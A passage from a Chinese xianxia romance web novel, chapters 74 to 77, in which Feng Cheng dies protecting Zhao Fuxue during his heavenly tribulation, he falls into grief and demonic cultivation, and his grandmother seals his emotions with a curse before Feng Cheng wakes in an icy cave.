其实若是他得知消息更早一点,他甚至不会对封澄做出丝毫越界之举。 劫起,生死不知,他能不能活着回来,尚且是个未知的问题。 一辈子许诺,还是得一个活人来给她。 封澄伸着懒腰,懒洋洋地走到寝室中去,赵负雪看着她披着长发的背影,心头的冲动逐渐地平息下去。 他低头摸了摸心头指环,右手上的素色指环在烛火下泛着晦暗不明的光。 屋中封澄道:“赵公子,你在外面参什么禅?” 赵负雪回过神来,他收了指环,向寝室中走去。 待大劫过后,他一定要问问封澄。 日后漫长岁月,愿不愿意携手共度。 哪怕她心里住着什么另外的人,他也等不得了。 第74章 第74章惊心动魄的劫数 三日后清晨,东面泛起些鱼肚白,洛京街道上,一担夫挑着空胆子,打着哈欠向民巷中走去。 忙碌一夜,此时此刻,他只想去巷头饭馆好好地吃一顿。 忽然间,一只周身漆黑的野猫凭空蹿了出来,它转身对着他,目光冰冷得不像一只畜生。 挑夫被吓了一跳,随即不耐烦地驱赶道:“……哪来的野猫,去去去!” 一线凌晨的日光已经隐隐跃出云层,那野猫盯着他看了片刻,骤然将头扭了过来,旋即膨然涨大,猛虎似的扑向挑夫,挑夫大叫一声,慌不择路地用手中扁担丢它,谁料硬木的扁担在砸上野猫前爪时,应声断为两截。 他瘫软在地,等待着从天而降的杀戮。 电光火石间,身后一声嗡鸣,紧接着天降巨网,将那怪物死死锁住,那怪物被困,发出惊天动地的嚎叫。 “城中魔物太多,”他听见后面一人焦急道,“阵要扛不住了!” 有另一人飞快道:“按理说不会扛不住的,这样,即刻去找年院长!大阵不会有问题的。” 沉默半晌,有第三人突然道:“布防周全的洛京都这样了,赵师兄那里……糟了,阵铃又响了,去救人!” 挑夫看着三个年轻修士脸色发白,头也不回地御剑奔去,他喃喃地瘫在地上,片刻,忽然福至心灵地抬起头,看向巷头饭馆的柴门。 一处蜿蜒骇人的红色,已经悄悄地漫了出来。 *** 冽冽寒风,漫天大雪,封澄孤身立于准风山上,单薄的桃红外裳猎猎而飞。 沉吟片刻,她转身对周寻芳道:“他撑不住了。” 此时已经劫起,天雷轰鸣而下,赵负雪立于阵眼当中,遥遥看去,他仍有余力支撑。周寻芳脸色一沉,抬眼道:“阵眼完好,劫云将尽,为何撑不住?” 封澄定定地看着阵眼中的赵负雪。 三日雷鸣,准风山早已被烧得一片焦荒,除去赵负雪置身的阵眼之地,四周山岩皆被劈的裸露出来。 四周催动阵法的修士已换了数批,可撑在阵眼中的,自始至终仅有赵负雪一人。 所有人都在庆幸,松着一口气,喜悦着劫要过了。 “……不,这是最厉害的要来了。”封澄喃喃道。 他的长发散下去,雪白衣袍在灵流的激荡下上下翻飞,天上劫云渐渐散去,隐隐露出几分天明的样子,立于群峰之上的众人似乎有些雀跃,陡然间,却见轰天一道雷骤然击在了阵眼之上! 这一击仿佛天降,大阵应声龟裂,登时,西南、正西方向阵盘便炸开来,周寻芳脸色一沉,当机立断,厉声道:“换阵!” 这换阵之法还是封澄提前备下的,周寻芳心中后怕不已。 “各方修士维持阵盘的灵力不同,阵盘能撑住的时间也不一,若提前有阵盘崩裂,大阵立毁。” 立即有人将阵修扶下,转而换阵支撑。阵眼中的赵负雪也为那一道惊天之雷所伤,他呛咳一声,随即左腿便不由自主地跪了下去,封澄暗道一声不好——他伤到腿了。 伤到左腿,他已经站不住了,封澄当即便要冲下去,忽然身后周寻芳猛地提住她的后颈,冲她摇了摇头:“不能下去,血修不比寻常修士,天雷加身,必死无疑。” 正道修士受雷劫,是锻体,而血修这种邪道受雷劫,叫天谴。 说话间,周寻芳提起佩剑,催动剑诀深入阵眼之中,只见那灰暗大阵霎时明亮许多,阵中赵负雪深吸一口气,索性盘坐运气,大阵霎时便开始顺利无比地承接天上雷劫。 封澄看得心乱如麻,不知为何,她忽然就想到了后世赵负雪极少离开的轮椅。 忽然有数道惊呼炸起:“……尊者!那是什么!” 原本已经泛起鱼肚白的天边,不知何时笼上了一层密密麻麻的黑云,定睛一看,不由得令人大为骇然——那一个个的,竟然全部是模样狰狞的天魔! 一时间,四周众修士的脸上皆笼罩了淡淡的绝望之色。 雷劫未尽,便又有天魔袭来。 周寻芳沉声道:“不可懈怠,迎敌!” 同为天生造物的天魔并不像邪修一般惧怕天雷,众天魔皮糙肉厚,也不像寻常修士一般惧怕天雷,众修士与天魔战成一团,渐渐地,天魔竟被修士拦在了外面,露出了败象。 可众修士的心中却未放松分毫。 最深的黑云中,尚有一只巨大的、脚爪布着蛇鳞的枭鸟。 “持劫……!” 黑云之中,竟是天魔之主亲临了。 “好久不见。”持劫笑笑,“听说有大热闹,怎么少的了我?” 封澄忍不住骂了句脏话,沉着脸,划动掌心,甩手成枪,正欲上去,身后却传来一老者声音。 “我来。” 周寻芳已经相当苍老,可抬着剑对着持劫时,却不见半分老态,徒留周身悍然灵力,持劫收了笑意,冷冰冰地盯着她:“哪来的老货?” 话音未落,一道剑光便直冲他面门去,险些将他脸上面具削成两半,持劫一惊,转瞬便像只枭鸟一样,将头扭了一个来回,面沉如水地盯着周寻芳。 周寻芳气定神闲地持剑,轻声道:“来。” 刹那天昏地暗,久未出手的周寻芳只动了动剑,天地间便仿佛真的变色了一般,持劫也阴沉沉地笑了,他拔出腰间长刀,戏谑道:“老骨头,你大夏没活人了吗?叫你这半截入土的东西出来打架。” 回答他的是雪亮的剑光,周寻芳朗声笑道:“只我一把老骨头足矣!” 持劫的横插一脚,令原本就岌岌可危的态势越发严峻起来,眼见着众多阵修已经脱力,却还勉力抵撑,封澄牙一咬,便寻了最无力的那个阵修,将他拉开,掌心灵力爆出:“我来!” 那阵修震惊不已地看着她,封澄早已不修灵力,无论是阵还是符都是从前的老本,她将手向阵盘上一压,霎时间,数只意图袭击阵中赵负雪的天魔便被振飞出去。 有效! 封澄眼睛一亮,再接再厉,继续向阵盘中输送灵力。 雷劫一道比一道狠绝,原本只是连绵不尽的细雷,眼下轰过来的都是碗口粗细的天雷,刹那间,又有四个阵盘接着炸开,眼下竟然只有两个阵盘还亮着了! 大阵明明暗暗,眼见着便啪啪破开,阵眼中的赵负雪咬牙凝神,抬手横出见素,本源灵力源源不断地喷薄而出。 “这是赵负雪最后的底牌了。”混战之中,持劫笑道。 周寻芳以剑将他逼退:“剑骨的本源灵力祭出,即便 是天道也会后退……不劳费心。” 持劫淡笑不语。 果然,本源灵力一绽出,似乎渐成了颓势,另一边苦力支撑的阵修大喜过望:“雷劫是不是要过了!” 仿佛是为了应召这句话似的,忽然一道天雷当头猛地劈下,那阵修猝然吐出一口血,脱力颓然倒下。封澄顾不得其他,一步走进阵眼,单阵撑起。 赵负雪盘膝坐着,他的脸苍白如纸,周身皆是细碎伤口,染得白衣几乎成了血衣。 外有天魔,内有天雷,内外夹击之间,皆不像要给赵负雪活路。 当年他的大劫,竟是如此惊心动魄的劫数吗? 所幸还剩一层阵法,封澄孤盘撑起大阵,另有赵负雪于阵眼之中坐镇,两人之力,也能勉强接上天雷。 不知过了多久,身旁焦黑的岩石上布满天魔的血肉残肢,赵负雪的本源灵力明明暗暗,而最值得庆幸的,是天雷也渐渐地缓了下去,眼看着,便不剩几道了。 一旁同周寻芳缠战的持劫啧了一声:“竟让这小子活了过去!” 话音未落,剑光便削掉了他耳边一簇鬓发,周寻芳冷冷道:“对战之时分心,是要命的大事。” 天边已渐渐地放晴,准风山上逐渐迎来了一道日光。 “最后的雷劫最为凶骇,这应当是最后一道,”封澄转头看着闭目的赵负雪,心头松了口气,“所幸,只要再撑过去,你便平平安安地从大劫里活下来了。” 想到此处,封澄的心底无比平静,她抬头,迎面扶起阵盘,准备着最后的雷劫。 可她的手抬起来的刹那,眼前却骤然起了浓黑的雾气。 浓雾中,众人皆睁不开眼睛,只有封澄,看清了带来雾气的生灵。 ——通体漆黑的大兽。 “八方!” 八方低下头,这只通体漆黑的大兽端然坐在阵法之上,仿佛是窝在它自家的山林上一样。 可即便是用脚想,封澄也能想到,一心要将赵负雪杀死在大劫中的八方,绝不是来帮忙的。 “你呆得够久了。”八方低头笑笑,“我来送你一程,顺便也来试试,能不能送他一程。” 它的蹄子轻轻地踏在了阵上。 “我日你先人,你敢——”封澄失声道。 随之而来的是阵法全然破碎的声音。 通天雷鸣下,二人灵力耗尽,阵法全无,赵负雪仍闭目运转身上灵力,封澄垂眸看了看他,转身,拔剑。 “本源灵力,来。” 刹那间,如有实质的血色灵力自长生上蔓延而出。 与此同时,一人端然坐于冰棺之前,手指上绕着一圈柔软的青丝。 “终于来了。”他盯着棺中人,唇角勾起个笑意来。 那笑意如淬了血般,择人欲噬。 第75章 第75章入魔(文案回收 雷鸣撼天,与之同向相冲的,是几乎轰鸣的血色。 四周有不长眼的天魔,试图过来偷袭一口的,皆被雷鸣与血云卷进去,搅得尸骨无存。 雷声与血云相击的刹那,以阵眼为中心,爆出了惊天动地的冲击,地上的血肉尸骨随着翻涌而起的山峦碎石而击飞出去,在准风山的修士与天魔首当其冲,皆被这道冲击振得吐血昏倒。 即便是强悍如周寻芳与持劫,也同样难逃此劫,随着山崩,跌下了山崖。 血色天地里,只有一人是站着的。 赵负雪睁开眼时,看到的就是这样一番景色。 他的脑中在刹那一片空白,赵负雪仓促间,竟忘了伸手扶过封澄来,任由她软塌塌地倒在了他的身上。 剧烈的风声与未熄的雷鸣尚且在耳边环绕,骤然成了一线尖锐且空白的耳鸣,赵负雪面前的一切仿佛成了慢动作,他看着封澄骤然灰白的脸,心想:“在做梦吧?” 封澄看着他,自他双目的倒影中看到了她的模样。 桃红的外裳已经被染成了暗红的铁锈色,衣服被血染得尽透,脸灰白得骇人,双目散淡而无光,她平生从未见过自己这般模样,第一反应,竟然是忍不住想笑。 哪怕神仙过来,大概也是没救的。 一笑,胸口便传来尖锐的疼痛,封澄有些茫然地想,她的胸腔大概已经被打碎了。 耳中的一切都是混沌且茫然的,唯有骤然扎进耳膜的赵负雪的声音:“——封澄!” 封澄感觉到一双冰冷的手捧起她的脸,她身体轻一阵儿,重一阵儿,她茫然地抬起头来,似乎有什么东西落在她的脸上,湿湿的,凉凉的。 是……什么? 她吃力地抬起手,摸索着摸到赵负雪的脸,模模糊糊道:“……是哪里,在下雨啊。” 还是那副玩笑的口吻,仿佛下一秒便会生龙活虎地蹦起来,然后笑道:“——赵公子,有没有被吓到?” 可封澄无力地躺在他的怀中,眼睛却一点一点地灰暗下去。 赵负雪的眼泪如同断了线的珠子一样砸在封澄脸上,他一句话都说不出来,哽咽间,冲后面嘶吼道:“医修,医修在哪!!” 回答他的是层层荒芜的群山。 封澄感觉到她躺着的这具身体似乎在发抖,她强撑着,指了指天边,道:“……怎么还没有日出。” 东面早已一片白,照着遍地血痕残肢,以及碎裂的山岩。 是她失去了视觉。 她笑了笑,口中有血沫溢出:“日出,等不到了。” 赵负雪一句话也说不出来,他的眼泪几乎干涸,只剩喉咙里发出嘶哑的、模糊不清的,野兽一般的声音。 他竭尽全力地抱紧封澄。 封澄已经渐渐地感觉不到自己的意识,她轻轻地摸了摸赵负雪的脸。 “……你哭,我心疼。” “……” “不要……哭。” 尾音越来越弱。 挂在指环的线猝然从颈上断裂,轻飘飘地落在了封澄被血染透的心口。 他颤声道:“……别走,求你,别走。” 那心口平静下去,不再起伏。 封澄的身体越来越轻,越来越轻,到最后,消失不见了。 她走了。 连尸体都未留下。 陡然间,天地间皆是一片昏暗,赵负雪双目的泪已经全然耗尽,声音也哑得发不出半个音节。 他踉跄着站起来,死死地抱着长生,方走出半步,猛地跪在地上,吐出了一口鲜血。 随即,眼前一片漆黑。 *** 洛京事毕,赵年率部来准风山支援,在看到眼前血肉横飞的惨象时,当即吓了一跳,忙不迭地就喊人:“仔细搜寻,不要放过一个活人!” 众人齐齐应是,随即有条不紊地搜寻了起来,赵年怔然立于满山疮痍上,半晌,深深地叹了一口气。 她转身,正要去搜寻,脚边却忽然碰到了什么东西。 低头一看,险些将她的魂吓得飞了出去。 一把带血的雪白长剑。 ——是见素。 剑修之道,剑在人在,剑亡人亡,赵负雪从来见素不离身,是发生了什么事,竟令让见素在落在此处? 正焦急间,远远处有一天机师惊喜道:“年院长,赵师兄在这里,还活着!” 她顾不得其他,将见素捡起带着身上,飞快走去,只见赵负雪面色灰败,一身白衣几乎被血染透,独独怀中紧紧地抱着一柄雪白长剑,死也不肯放开。 看到剑的瞬间,赵年便怔住了。 那柄长剑,她认得,是另一人的随身佩剑。 *** 数剂狠药,终究还是吊住了赵负雪的命。 他昏迷不醒,身形一天天地消瘦下去 。素白的脸几乎成了惨白的颜色。 是日,医者照例上来请脉,良久,向周寻芳告罪道:“身疾可医,心疾难医,老朽已然尽力,能不能醒过来,要看公子的意愿。” 送走医者,周寻芳心事重重地坐到了赵负雪的榻边。 可明眼人都看得出来,他不愿醒来。 几日后,人们忽然发现,周寻芳拄上了拐杖,鬓边也有了白发。 十日,十五日,二十日,三十日。 赵负雪仍未苏醒。 人人都觉得,他不会再醒来了。 。 直到三十四日后。 “——老尊者!公子醒了!” 周寻芳当即站起来,她哆嗦着唇,一句话也说不出,猛地将手中拐杖骤然一丢,跌跌撞撞地向着扶明院去了。 即便是处置赵洄后事时,她腰杆也是直的,眼眶也是干的。 周寻芳自问平生从未这样不体面,可在扶明院的路上,她却抑制不住地眼眶酸涩。 “阿——阿雪?” 她冲到扶明院时,赵负雪榻边已簇拥了一群人,人群之中,他垂着头,怔怔地看着自己枯槁的双手,不知在想些什么。 听闻周寻芳呼唤,他轻微地偏过头来,眼睛眨了眨,似乎在费力地分辨光源:“祖母?” 周寻芳定在了原地。 赵负雪披着长发,病容枯槁,手腕上的骨头异常清晰地凸了出来,曾经令人见之忘怀的少年风华,一夜间,凋零殆尽。 他轻声笑笑:“我好像做了一场梦。” 周寻芳看着他,片刻,潸然泪下。 “醒了就好,”她擦了擦眼泪,“回来就好。” 事情比想象中要坏一些。 赵负雪醒了,眼睛和腿却坏了。 据医师的说法,眼睛是哭坏的。 上轮椅的第一日,周寻芳派了一个侍从去为他推轮椅。片刻,那侍从却来议事堂回禀周寻芳。 “公子说,不必,然后就自行摇着轮椅走了。” 周寻芳怔了怔,揉了揉眉心:“……这么大的孩子,任性!去哪了,派人去寻,他眼睛与腿都不便,怎能一个人呆着。” 那侍从觑着她的脸色,半晌,才小心翼翼道:“公子带着两把剑,去了封姑娘住过的客院。” 赵年与周寻芳的脸色忽然便有些发白。 待二人找到赵负雪时,他抱着两柄长剑,睡在了院中的花树下。 这应当是一颗旧时的桃树,春来时,应当是繁花似锦,可此时逢冬,枯枝上挂满残雪,风一吹,雪便往下落。 周寻芳一走近,赵负雪便醒了,他回过头来,失去神采的眼睛勉强辨认着周寻芳的方位。 本欲出口的问责也难以出口了,周寻芳沉默半晌,只温声道:“你来这里做什么?” 赵负雪闭上眼睛,重新躺回轮椅上:“阿澄在这儿。” 枯槁花树下空空荡荡,哪有半个人的影子? 赵年看着赵负雪的背影,忧心忡忡道:“……老尊者。” 周寻芳颓然闭上眼睛,数日前还与天魔之主厮杀的第一剑修,此时与一个垂暮老者并无半分区别。 “……走吧。” 此后过的数日,赵家似乎如同往日一般地过,赵负雪还是那个寡言少语的少主,眼疾、腿疾,都不妨碍他出现在洛京的每个角落。 有一点奇怪。 他的腰间,忽然就配上了两把剑。 两把剑皆是纯白之色,只是一把雪白,一把玉白,雪白那把自然是他的见素了,可另一把又是什么? 他好似察觉不到众人的打量与好奇,只坦然地带着两把剑,出现在每一个应该出现的场所。 周寻芳一见他,便止不住地叹气,后面索性连见他也不见。 洛京大劫过后,满目疮痍,需要天机师出手的地方数不胜数,从里到外,皆需要天机师帮忙,赵负雪身为天机师,也领天机玉牌,虽眼疾不便,但用符起阵,清剿天魔,没人敢看轻他分毫。 还有另一点更为奇怪。 听闻有人道,这赵公子常常对着空无一人的身边絮絮叨叨,其温和缱绻,其郑重其事,令人头皮发麻。 赵年将这些传闻收入耳中,心底忧思更甚。 赵负雪好像着了魔一样守在封澄的院子里。 她的院子一直没有人敢踏进一步,一应陈设保持着她离去那时的样子未变,甚至连未叠起的床铺也像当时一样分毫未动,它柔软地堆在榻上,仿佛在等待迟归的主人寻一个最舒服的姿势窝进去。 日子久了,周寻芳心底也悲凉,可看赵负雪样子,却什么重话都说不出来。 赵负雪以一种几乎病态的姿态维持着封澄仍然活着的假象,仿佛把自己骗了个彻底,只当她还好端端地活着,只不过出了一趟远门。 事情的终结出现在一个夜晚。 周寻芳忙于为封澄寻找籍贯与亲属,已经数日未曾踏入书房,此日深夜,她心头疲惫,便不由自主地向着书房而去。 一入书房,案上摆着一封信函,拆看一看,里面只有一行大字。 “赵负雪已全然入魔,速救。” 第76章 第76章冷冰冰的地方(文案回收…… 封澄的意识在迷茫不清的昏沉里几度辗转,她觉得自己的身体轻得微不可察,向着光芒透来的地方走去。 在这一片茫然中,她下意识地走向纯白的荒芜里。 她从前听人说,人之将死,最后死去的知觉,是听觉。 可为何死亡之后,如此安静。 在她踏入那道光源的刹那,耳边骤然响起轰鸣,仿佛是溺水的人终于将头探出水面一样,这片轰鸣震动着她的喉咙,令她不由自主地溢出一线声音。 轰鸣声不见了,取而代之的是一声温和的笑音。 那声音无比熟悉,却又无比陌生。 “阿澄,回家了。” 紧接着,她便陷入了黑沉的意识中,浮沉而去了。 *** 周寻芳在看到眼前信函时,脑中是轰鸣的。 能自由进出赵氏家主书房的,能不经通传向她桌上送信的,只有一人。 或者说,只有一兽。 ——八方。 八方,是不会说谎的。 刹那时,周寻芳猝然变色,她当即起身,毫不犹豫地便向着扶明院去。 夜间灯火通明的院子不止一座,周寻芳走到扶明院前,破门而入,四处环顾。 堂屋,不在,寝室,不在,茶室,不在。 她走到书房前,却被一线烛光晃了眼睛。 赵负雪持笔,端然坐于书案之前,烛火跳动,勾勒出他清冷出尘的侧颜,他垂眸不动,手边放着一把枯槁的长剑。 长生。 且凭赵负雪听觉,早该在她破门而入的时候便有所闻,周寻芳走到赵负雪案前,冷道:“抬眼。” 他置若罔闻,周寻芳一步上前,一掌拍向书案,啪地一声,赵负雪终于抬起了头,眼中是混沌无比的幽幽墨色:“祖母。” 周寻芳见着他如此颓废,颇有恨铁不成钢之意,方要开口,却是嗅到了什么,眉登时猛地一蹙。 赵负雪的屋中,有一线微不可察的魔气。 这魔气的味道绝非寻常除了魔、身上沾染的魔血或者什么,而是一股全然的、细微却强悍的味道。 这世上再也没有比周寻芳这个第一天机师更懂这是什么了。 她勃然变色——秽迹。 而这秽迹的源头,不是旁物,竟是从赵负雪身上发出来的! 周寻芳不可置信的看着赵负雪眼底隐隐跳动的魔气,他仪表姑且算得上整洁有礼——这是他自小养出来的,可细细一瞧,手上竟然多了许多牛毛似的细微刀口,她不懂赵负雪这些伤口从何而来,只觉得心痛又愤怒,甚至恨不得扬手打他一掌,可平复半日后,她终究只是压声道:“滚出来,随我走。” 赵负雪却不言不语,他低头,抚摸着手旁的长生,比了个噤声的手势:“就差一点了,我不走。” 周寻芳方才只惊怒于赵负雪眼下颓势,此时定睛一看,才发觉赵负雪的书案上摆着什么东西。 一个活灵活现的木偶小人儿,此时顶着一副素胚,是仰面嬉笑的神韵。 他略一垂目,抽了抽手指,那小人儿便兴高采烈地站起来,生龙活虎地舞一通,赵负雪唇角勾了勾,随后把食指凑到小人儿面前,那小人捧着他手指,在那细微如牛毛的伤口上轻轻地吮吸。 原本空白迷雾似的面庞上,五官渐渐浮现。 赵负雪目不 转睛地看着偶人,终于撕下了数日里强行穿上的人皮,出了些带着血味的疯样子,周寻芳看着他,看着偶人,心口空空地向下一坠。 傀儡机关术,邪道的东西。 他彻底疯了。 此道修至最后,偶人反噬其主,食其血肉,吞其魂魄,永囚于身,不得超生。 瞧着这小东西的模样,应当是有几日了。 她沉声道:“封姑娘定不愿意看你这般模样。” 赵负雪闻言,却倍感荒谬一样:“祖母又未曾同她相处过,如何知道她不愿。” 闻言,周寻芳狠狠地闭了闭眼睛。 眼下最值得庆幸的,是他还没走出最后一步,还是个活人,还有救。 当机立断,周寻芳一步上前,将那偶人拿到手中,赵负雪神思混沌,重伤未愈,身手怎能及她,于是便被她取过去。 偶人在她怀中吱哇乱叫,大哭着向赵负雪伸出手,赵负雪脸色登时一变,猛地站起身来。 她从前向后一翻,飞快地与赵负雪拉开距离,紧接着,冷声道: “邪修之道伤人伤己,必遭反噬,这偶人是留不得了。” 他从前是人群中七情六欲的旁观之人,行过,经过,却冷冷的,从来只是冷静掠过,却从不在乎,甚至说一切来得太过唾手可及,赵负雪甚至是没什么欲望的。 周寻芳曾为此忧心不已。 人非草木,焉得无情? 如今,赵负雪神色紧张地站了起来,声音中甚至多了几分急切:“还给我!” 周寻芳失望地摇了摇头。 “连一个偶人都不肯放手,你到底要让我失望到什么地步。” 小木偶哇哇大叫着,哭着向赵负雪挣扎:“阿雪,阿雪——” 他的瞳孔猛地一缩。 定睛一看,木偶身上的每一处骨骼,每一处纹理,都精细得非凡,足以见得操刀之人细细密密的心思,眼下在她掌中哭号,竟如同一个真正的小人儿一般。 周寻芳看到此处,心中浮现出了诡异的不忍,她沉默地站在原地,祖孙二人相对而立,一言不发。 良久,她将手中小人还给了赵负雪。 他连忙接过小人,小心地捧起来,脸颊贴着它,小声宽慰,周寻芳心头止不住地悲凉,她不禁道:“……你身上已经有了魔气秽迹,放着天机师的阳关大道不走,去修邪道,你图什么?” 赵负雪垂眸笑笑,目光有一瞬的清明,他两只手指不着痕迹地掩住偶人地耳朵,随后目光轻飘飘地落在灰暗的长生上。 “我早就不能独活了,祖母。” 在昏昏沉沉的大梦中,他顺理成章地沉入不可理喻的圆满里,浮沉三十四日,惟愿永世不醒。 可惜大梦太短,凡世太长。 他温和有礼道:“傀儡惑人,却不足以令我失去神智。” 周寻芳苦笑不已。 以赵负雪前几日模样,引来如此邪物并不奇怪。这种小东西十分常见,可从来只是迷惑些心智不定的寻常小修,碰上赵负雪这种修士,几乎是碰面便被扬了的份儿。 “祖母,”赵负雪垂眸道,“阿澄不会回来了。” 混沌着骗自己些时日,然后顺理成章地被偶人反噬,已是轻快的死法。 闻言,周寻芳却忽然一愣。 ……不。 她心底旁生出了个大胆无比的猜测。 封澄还会回来。 像修到封澄那种程度的修士,尤其还是血修,是绝不可能埋没得半分痕迹都没有的。 即便掩埋去家人亲眷的痕迹了,那么她崭露头角的痕迹呢?于世间修行的痕迹呢? 都没有吗? 这几日她追查封澄亲眷师门,意寄以哀思,越查,越是心惊肉跳——以赵家手笔,绝不会查不出一个修士的来路,可封澄于此世之中的痕迹,竟然是从古安而起的! 在此之前,她没有留存于此世的痕迹。 而封澄与八方私谈之日,她并未依言离开,守在门口,将封澄与八方的交谈收入耳中。 于此种种,她拼凑出一个骇人的事实。 封澄非此世之人,而是后世之人。 可此事太过荒谬,如何能同赵负雪去说? 沉思半晌,她还是斟酌着要开口,刚刚张开嘴,赵负雪一低头,偶人便缠上了他的手指。 周寻芳对封澄这个小辈极有好感,也是认下了赵负雪的姻缘,眼下横出此事,心中也是痛惜。可见着赵负雪要因此再折进去了,周寻芳心头的痛惜便抵不上人命之重了。 她沉沉地看着赵负雪。 赵负雪心头是牵着生死咒的。 ——既然赵负雪的心魔生于封澄,那么将封澄留下的所有痕迹全然扫除,此间心魔,不就全然未果了吗? 至于生死咒之中的儿女情长……在人命之中,算得了什么。 主意打定,周寻芳平静下来,她抬起头道:“洛京杂务许多,至少这段时候不可自戕成魔,明日带账册来我书房,东市几处重建仍需你出手。” 周寻芳如此平静地应下来,倒令赵负雪有些奇怪,只是他这些时日魔气蔽心,赵负雪脑中早就混沌了,此时此刻也无暇深究了。 于是赵负雪行礼道:“多谢祖母。” 夜色一片平静,此夜数人不眠,只有东南角的家庙处传来些微的动静。 次日,东面只露出些鱼肚白,周寻芳的书房便被敲响了。 周寻芳一夜不眠,她端然坐在书房,抬眼,对上赵负雪平静无比的双眼。 只有最为老练的天机师才能看出,幽深魔气在赵负雪的眼底疯狂翻涌,肩上的小人偶倒是安静,紧紧贴着他的头发,仿佛很贪恋似的。 不必说,周寻芳也明白,他活不了多长了。 思及此处,周寻芳不再犹豫,她看着赵负雪腰间带着两把鸳鸯似的剑,走到她面前来,递过厚厚一摞账册,开口道:“我现在开始,祖母。” 周寻芳点了点头,然后在赵负雪低下头的一刹那,一记手刀劈在了他的后颈。 第一剑修的手刀也是功力匪浅的,赵负雪当即定在原地,片刻,缓缓地软倒下去,周寻芳将他接住,转头,冷冷道:“把东西拿上来。” 一侍从鬼魅似的出现,跪在地上,手中托着一把素白的剪刀。 周寻芳闭了闭眼睛,随即下了狠心一般,抬起剪刀,刺入了赵负雪的心口。 那把素白剪刀见血即融,转瞬钻入赵负雪心口,消失不见了。 *** 封澄察觉到自己的身体似乎处于什么冷冰冰的地方。 她不适地皱了皱眉,感觉彻骨的寒意似乎无孔不入地透入她的肌理骨骼中,冻得她牙关咯咯作响,封澄本能地张了张口,想说一声冷,却发觉她发不出丝毫声音。 意识还是一片漆黑的,只有知觉清晰。 发觉这一点的封澄有些气急败坏——这个模样,简直像是魂魄被囚禁在身体之中,什么都能感知,却什么都做不得。 就在她以为自己要被活活冻死的时候,唇边忽然一温,紧接着齿关便被一温和而有力的东西撬开,源源不断的温热汤药便涌入她的口中,封澄的身上骤然温暖了起来。 只是那东西并未离去,反而在她口中开始作乱。 这触感过分熟悉,那无数个夜晚的记忆刹那涌上心头,封澄脑子还没反应过来,身体便不由自主地去迎上去,谁料这一熟稔的顺从反而惹怒了那始作俑者,只听冷哼一声,她舌尖一痛。 竟是被轻轻地咬了一口。 她反应过来,喉咙发出抗拒的唔唔声,张嘴要去咬断这作乱的舌头,那人却微微一笑,早就料到一样捏住了她的下巴,泄愤似的,强行与她交换了一个绵长且粘腻的吻。 “咬什么,”良久,他消了气,终于松开了封澄,笑得如从前一般温和从容,“像小狗一样。” 第77章 第77章着凉就不好了 赵负雪觉得自己做了一场梦,很漫长,很平静。 他醒来时,榻上月色如霜。 一旁早有侍从候着,闻声,惊喜成一团,立刻有一人 捧药上来,另外几人出门喊道:“老尊者,公子醒了!” 大呼小叫,喊得人奇怪,赵负雪翻身就要下榻,看着转瞬便堵在眼前的汤药,穿鞋的动作顿了顿,他皱了皱眉:“端这东西上来做什么?” 一说话,他先被自己的沙哑无比的嗓子骇了一下,他眯了眯眼睛,注意力又回到笼住眼睛的白雾上。 一觉醒来,眼瞎了,嗓子哑了——赵负雪动了动腿,感觉八成也残了,这事儿放任何人头上,都是晴天霹雳一般的灭顶之灾,而赵负雪瞎着眼,端坐在榻上静了会儿,便冷静道:“我的剑呢?” 周寻芳示意,见素与长生一同被取来。 剑修有剑,便是有定心丸。 雪白长剑入手刹那,赵负雪便平静下来。他“看”向端坐对面的周寻芳,沉吟半晌,道:“出了什么事?” 桌上的另一把剑,通体玉白,触手生温,仿佛是活着一样,即便是半瞎也能看出是把世间罕有的好剑。 反咒施用后,长生竟然回春了,这倒是令周寻芳十分意外,也十分奇怪。 周寻芳看着长生,深吸一口气,道:“阿雪,祖母有话要对你说。” 早晚都会在旁人口中听到,不如叫她这个做祖母的挑着告诉他。 一炷香后,赵负雪也深吸了一口气,半晌,皱着眉道:“祖母是说,我前些日子深入情劫,然后被弃,迫不得已,要用反咒?” 她纠正道:“并非抛弃,而是她不得不离开。” 最后一击雷劫,目睹之人只有封赵二人,周寻芳虽知封澄死去,却生怕这反咒不除根,一说封澄死去,再闹出赵负雪的心魔来,于是便含糊地说出封澄终将归来这事,可这么一说,却无从解释她眼下去往何处了。此般情形在赵负雪眼中,便逻辑严密地成了抛弃。 赵负雪皱了皱眉:“……始乱终弃。” 周寻芳慎重地想了想,自觉多说多错,于是闭嘴不言。 赵负雪当即便要强撑着起身:“不行,我要去找她问个明白。” 周寻芳忙拦住她:“你找不到她的。” “为何?” “……她现在无法见你。” 闻言,赵负雪笑了:“祖母这话说得,像是知道些隐情,却不肯同孙儿说来。” 周寻芳也哑了,她属实是发觉,赵负雪一回神,不像从前好糊弄了。 赵负雪不等她接着说话,便道:“不过既然祖母说了,那孙儿也当缓上几日,等过了几日能见了,再去讨个说法。” 他心底却暗暗地磨了磨牙:“还不知她是圆是扁,是方是正,便莫名其妙地用情至深,还被莫名其妙地始乱终弃——脑子里还缺了一块,放谁身上能忍得?” “……若她躲起来不肯见我,”赵负雪笑了笑,“我便去寻,天涯海角,总有她躲不到的地方。” 言罢,他便自顾自地摇着轮椅,径自离开了,临走前,她听见赵负雪对侍从道:“至于她留下的剑……收进库房去罢,放在我面前,碍眼。” 周寻芳坐在远处,沉沉地闭了闭眼睛。 反咒之七情断绝,终究来到了她不愿看到的地步。 *** 封澄这几日终于能看到东西了。 虽然她的意识还是昏昏沉沉的,虽然她的视物也仅限于能瞧出个大致轮廓来,虽然她还是不能动……但好歹是能知道自己在哪里了。 凭借微弱的视力,封澄大致分辨出,自己似乎是在某个不见天日的洞穴中。 这洞穴颇大,几乎能听见回声,最主要的是,这地方冷得不可思议。 只凭天然,是冷不成这个样子的。 “呜——啊——” 她喉咙还僵着,能发出几声奇怪的单音节,封澄便试试探探地这么喊着。 要用极多的灵石,才会有这种骇人且持久的低温。 封澄看着墙壁隐隐透出的寒光,猜测,这很有可能是哪个大家的地室,搞不好是做保鲜用的,冻个新鲜宰杀的牛啊羊啊,存个水灵灵的小青菜啊……诸如此类。 一想到自己大概在某个不知名的菜房里,封澄便忍不住悲从心来——活了两辈子,到头来竟然沦落到和菜冻到一起,当真是岂有此理。 还有那日莫名咬过来的人——封澄只恨得冒火,她目前应该是尸体的状态吧?此人连半死人都不放过,这得是何等的变态! 不过话又说回来了——她当时可是自爆在长煌大原,怎么尸身还能被捡到这里? 是谁费尽力气,养护一具残尸? 心乱如麻地躺了片刻,封澄心中又惆怅起来。 ——不知在另一世的赵负雪怎么样了? 